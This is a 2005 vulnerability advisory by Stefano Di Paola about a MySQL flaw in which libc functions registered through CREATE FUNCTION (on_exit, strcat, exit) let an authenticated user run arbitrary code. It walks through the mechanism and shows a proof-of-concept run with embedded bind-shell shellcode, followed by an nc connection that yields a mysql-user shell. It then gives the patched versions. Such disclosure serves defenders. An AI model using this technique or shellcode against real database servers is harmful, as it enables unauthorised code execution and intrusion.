[VulnWatch] Mysql CREATE FUNCTION libc arbitrary code execution.

Type securityvulns
Reporter Securityvulns
Modified 2005-03-11T00:00:00


  1. Mysql CREATE FUNCTION libc arbitrary code execution.

Author: Stefano Di Paola Vulnerable: Mysql <= 4.0.23, 4.1.10 Type of Vulnerability: Local/Remote - input validation Tested On : Mandrake 10.1 /Debian Sarge Vendor Status: Notified on March 2005

-- Description

If an authenticated user has INSERT and DELETE privileges on 'mysql' administrative database, it is possible, by using the CREATE FUNCTION command, to take advantage by functions from libc in order to gain mysql user privileges.

Let's see what is the issue.

The structs defined in include/mysql_com.h are

196 typedef struct st_udf_args 197 { 198 unsigned int arg_count; / Number of arguments / 199 enum Item_result arg_type; / Pointer to item_results / 200 char args; / Pointer to argument / 201 unsigned long lengths; / Length of string arguments / 202 char maybe_null; / Set to 1 for all maybe_null args / 203 } UDF_ARGS; 204
205 /
This holds information about the result / 206
207 typedef struct st_udf_init 208 { 209 my_bool maybe_null; /
1 if function can return NULL / 210 unsigned int decimals; / for real functions / 211 unsigned long max_length; / For string functions / 212 char ptr; / free pointer for function data / 213 my_bool const_item; / 0 if result is independent of arguments / 214 } UDF_INIT; 215

the order MySql use this structs when a function 'xxx' is called from sql_udf.h (from Mysql Manual) is the following.

For STRING functions:

char xxx(UDF_INIT initid, UDF_ARGS args, char result, unsigned long length, char is_null, char *error);

For INTEGER functions:

long long xxx(UDF_INIT initid, UDF_ARGS args, char is_null, char error);

so the first argument is a UDF_INIT pointer and the second one is UDF_ARGS pointer.

by using on_exit, strcat (or strcpy) and exit libc function we could change the execution flow.

from man strcat: .... char strcat(char dest, const char *src); ....

from man on_exit: .... int on_exit(void (function)(int , void ), void *arg);

DESCRIPTION The on_exit() function registers the given function to be called at normal program termination, whether via exit(3) or via return from the program's main. The function is passed the argument to exit(3) and the arg argument from on_exit(). ....

from man exit: .... void exit(int status); DESCRIPTION The exit() function causes normal program termination and the the value of status & 0377 is returned to the parent (see wait(2)). All functions registered with atexit() and on_exit() are called in the reverse order of their registration, and all open streams are flushed and closed. Files created by tmpfile() are removed. ....

what would happen if we use these functions on mysql?

CREATE FUNCTION 'strcat' RETURNS STRING SONAME 'libc.so.6'; will call strcat(UDF_INIT initid, UDF_ARGS args)

catting the value pointed by args (arg_count) in the location where initid points.

CREATE FUNCTION 'on_exit' RETURNS INTEGER SONAME 'libc.so.6'; will call on_exit(UDF_INIT initid, UDF_ARGS args)

registering the function pointed by initid.

CREATE FUNCTION 'exit' RETURNS INTEGER SONAME 'libc.so.6'; will call exit( initid) exiting with status initd.

Next step is understand how it works.

Supposing we have created strcat, on_exit and exit into MySql DBMS, mysql> select on_exit(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G ... mysql> select strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ->,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0)\G ***** 1. row ******* strcat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,\ 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0): 1 1 row in set (0.00 sec) mysql> select exit(); Lost Connection.

What happened?

We registered the location pointed by initid to be executed on exit by using on_exit, then we overwrote *initd with strcat and finally we called exit.

Now mysql daemon follow this flow: 1. exit is called, then jump to initid and execute location. 2. location contains the following value: 0x00000001 corresponding to some non useful opcode. 3. so mysql crashes and exits.

by using this feature we can add a number of arguments to inject a simple opcode for our aim.

by looking into memory with gdb we'll see that the string strcat(0,0,0,0,..... is very near (a bunch of bytes that for me is 0x3d) to address pointed by 'initid' so by using the opcode

0x3deb jmp 0x3d

we'll jump to the command we sent.... So, by using as first argument a shellcode, mysql will execute it.

A proof of concept is attached.

$ perl exp3.pl 3 0 Using 3de9 Create Function select on_exit('jfXj[RSjáÍRChÿ ájQPáÆ°fÍCC°fÍRVáC°fÍÙð?IÍAâøRhn/shh//biãRSá° Í', 0), strcat(0);Select on_exit $VAR1 = { 'on_exit(\'jfXj[RSjáÍRChÿ ájQPáÆ°fÍCC°fÍRVáC°fÍÙð?IÍAâøRhn/shh//biãRSá° Í \',0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,' => '592229467032649728', 'strcat(0)' => 'HPh?strcat(0P' }; DBD::mysql::st execute failed: Lost connection to MySQL server during query at myexp.pl line 112. DBD::mysql::st execute failed: Lost connection to MySQL server during query at myexp.pl line 112. _

now open another shell and

$ nc 2707 id uid=78(mysql) gid=78(mysql) groups=78(mysql) ^C $

-- Solution

Mysql Company released a patch. New versions for MySQL 4.0.24 and 4.1.10a have been released. Download them to fix the issue.

Thanks to MySQL people, they where very kind and professional.

-- Disclaimer

In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk.


......---oOOo--------oOOo---...... Stefano Di Paola Software Engineer Email: stefano.dipaola_at_wisec.it Email: stefano.dipaola1_at_tin.it Web: www.wisec.it ..................................